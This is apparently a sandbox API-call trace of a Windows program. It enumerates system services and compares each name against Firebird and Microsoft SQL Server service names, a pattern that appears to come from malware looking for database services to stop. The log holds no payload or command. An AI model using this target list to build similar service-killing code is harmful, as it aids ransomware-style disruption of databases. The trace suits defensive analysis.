	[0063.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0063.906] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0063.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0063.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0063.906] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0063.906] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0063.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0063.907] lstrlenW (lpString="CDPSvc") returned 6
	[0063.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0063.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0063.907] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0063.907] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0063.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0063.907] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0063.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0063.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0063.907] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0063.907] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0063.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0063.907] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0063.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0063.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0063.907] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0063.907] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0063.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0063.907] lstrlenW (lpString="CryptSvc") returned 8
	[0063.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0065.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0065.143] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0065.143] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0065.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0065.143] lstrlenW (lpString="DcomLaunch") returned 10
	[0065.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0065.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0065.143] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0065.143] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0065.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0065.143] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0065.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0065.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0065.144] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0065.144] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0065.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0065.144] lstrlenW (lpString="Dhcp") returned 4
	[0065.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0065.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0065.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0065.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0065.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0065.144] lstrlenW (lpString="Dnscache") returned 8
	[0065.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0065.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0065.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0065.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0065.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0065.144] lstrlenW (lpString="DoSvc") returned 5
	[0065.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0065.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0065.144] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0065.144] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0065.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0065.144] lstrlenW (lpString="DPS") returned 3
	[0065.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0065.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0065.144] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0065.144] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0065.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0065.144] lstrlenW (lpString="DusmSvc") returned 7
	[0065.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0065.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0065.144] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0065.144] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0065.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0065.145] lstrlenW (lpString="EventLog") returned 8
	[0065.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0065.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0065.145] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0065.145] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0065.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0065.145] lstrlenW (lpString="EventSystem") returned 11
	[0065.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0065.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0065.145] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0065.145] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0065.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0065.145] lstrlenW (lpString="FontCache") returned 9
	[0065.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0065.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0065.145] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0065.145] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0065.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0065.145] lstrlenW (lpString="gpsvc") returned 5
	[0065.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0065.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0065.145] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0065.145] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0065.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0065.145] lstrlenW (lpString="iphlpsvc") returned 8
	[0065.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0065.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0065.145] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0065.145] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0065.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0065.146] lstrlenW (lpString="KeyIso") returned 6
	[0065.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0065.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0065.146] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0065.146] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0065.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0065.146] lstrlenW (lpString="LanmanServer") returned 12
	[0065.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0065.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0065.146] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0065.146] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0065.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0065.146] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0065.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0065.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0065.146] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0065.146] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0065.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0065.146] lstrlenW (lpString="lfsvc") returned 5
	[0065.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0065.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0065.146] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0065.146] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0065.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0065.146] lstrlenW (lpString="lmhosts") returned 7
	[0065.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0065.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0065.146] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0065.146] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0065.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0065.146] lstrlenW (lpString="LSM") returned 3
	[0065.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0065.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0065.146] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0065.146] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0065.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0065.147] lstrlenW (lpString="MapsBroker") returned 10
	[0065.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0065.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0065.147] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0065.147] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0065.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0065.147] lstrlenW (lpString="MpsSvc") returned 6
	[0065.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0065.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0065.147] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0065.147] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0065.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0065.147] lstrlenW (lpString="NcbService") returned 10
	[0065.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0065.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0065.147] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0065.147] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0065.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0065.147] lstrlenW (lpString="netprofm") returned 8
	[0065.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0065.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0065.147] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0065.147] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0065.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0065.147] lstrlenW (lpString="NlaSvc") returned 6
	[0065.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0065.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0065.147] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0065.147] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0065.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0065.147] lstrlenW (lpString="nsi") returned 3
	[0065.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0065.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0065.147] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0065.148] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0065.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0065.148] lstrlenW (lpString="PcaSvc") returned 6
	[0065.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0065.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0065.148] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0065.148] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0065.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0065.148] lstrlenW (lpString="PlugPlay") returned 8
	[0065.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0065.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0065.148] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0065.148] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0065.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0065.148] lstrlenW (lpString="Power") returned 5
	[0065.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0065.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0065.148] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0065.148] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0065.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0065.148] lstrlenW (lpString="ProfSvc") returned 7
	[0065.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0065.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0065.148] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0065.148] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0065.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0065.148] lstrlenW (lpString="RpcEptMapper") returned 12
	[0065.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0065.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0065.148] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0065.148] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0065.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0065.149] lstrlenW (lpString="RpcSs") returned 5
	[0065.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0065.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0065.149] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0065.149] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0065.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0065.149] lstrlenW (lpString="SamSs") returned 5
	[0065.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0065.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0065.149] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0065.149] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0065.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0065.149] lstrlenW (lpString="Schedule") returned 8
	[0065.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0065.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0065.149] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0065.149] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0065.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0065.149] lstrlenW (lpString="SecurityHealthService") returned 21
	[0065.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0065.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0065.149] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0065.149] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0065.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0065.149] lstrlenW (lpString="SENS") returned 4
	[0065.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0065.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0065.149] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0065.149] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0065.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0065.149] lstrlenW (lpString="ShellHWDetection") returned 16
	[0065.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0065.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0065.150] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0065.150] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0065.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0065.150] lstrlenW (lpString="Spooler") returned 7
	[0065.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0065.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0065.150] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0065.150] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0065.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0065.150] lstrlenW (lpString="SSDPSRV") returned 7
	[0065.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0065.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0065.150] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0065.150] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0065.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0065.150] lstrlenW (lpString="StateRepository") returned 15
	[0065.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0065.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0065.150] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0065.150] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0065.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0065.150] lstrlenW (lpString="SysMain") returned 7
	[0065.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0065.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0065.150] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0065.150] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0065.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0065.150] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0065.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0065.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0065.150] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0065.150] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0065.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0065.150] lstrlenW (lpString="Themes") returned 6
	[0065.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0065.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0065.151] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0065.151] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0065.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0065.151] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0065.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0065.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0065.151] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0065.151] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0065.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0065.151] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0065.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0065.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0065.151] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0065.151] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0065.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1
	[0065.151] lstrlenW (lpString="TokenBroker") returned 11
	[0065.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1
	[0065.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1
	[0065.151] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1
	[0065.151] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1
	[0065.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TokenBroker") returned -1
	[0065.151] lstrlenW (lpString="TrkWks") returned 6
	[0065.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0065.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0065.151] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0065.151] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0065.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0065.151] lstrlenW (lpString="UserManager") returned 11
	[0065.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UserManager") returned -1
	[0065.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UserManager") returned -1
	[0065.151] lstrcmpiW (lpString1="sqlwriter", lpString2="UserManager") returned -1
	[0065.151] lstrcmpiW (lpString1="mssqlserver", lpString2="UserManager") returned -1
	[0065.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UserManager") returned -1
	[0065.152] lstrlenW (lpString="VaultSvc") returned 8
	[0065.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VaultSvc") returned -1
	[0065.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VaultSvc") returned -1
	[0065.152] lstrcmpiW (lpString1="sqlwriter", lpString2="VaultSvc") returned -1
	[0065.152] lstrcmpiW (lpString1="mssqlserver", lpString2="VaultSvc") returned -1
	[0065.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VaultSvc") returned -1
	[0065.152] lstrlenW (lpString="Wcmsvc") returned 6
	[0065.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Wcmsvc") returned -1
	[0065.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Wcmsvc") returned -1
	[0065.152] lstrcmpiW (lpString1="sqlwriter", lpString2="Wcmsvc") returned -1
	[0065.152] lstrcmpiW (lpString1="mssqlserver", lpString2="Wcmsvc") returned -1
	[0065.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Wcmsvc") returned -1
	[0065.152] lstrlenW (lpString="WdiServiceHost") returned 14
	[0065.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0065.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0065.152] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0065.152] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0065.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0065.152] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
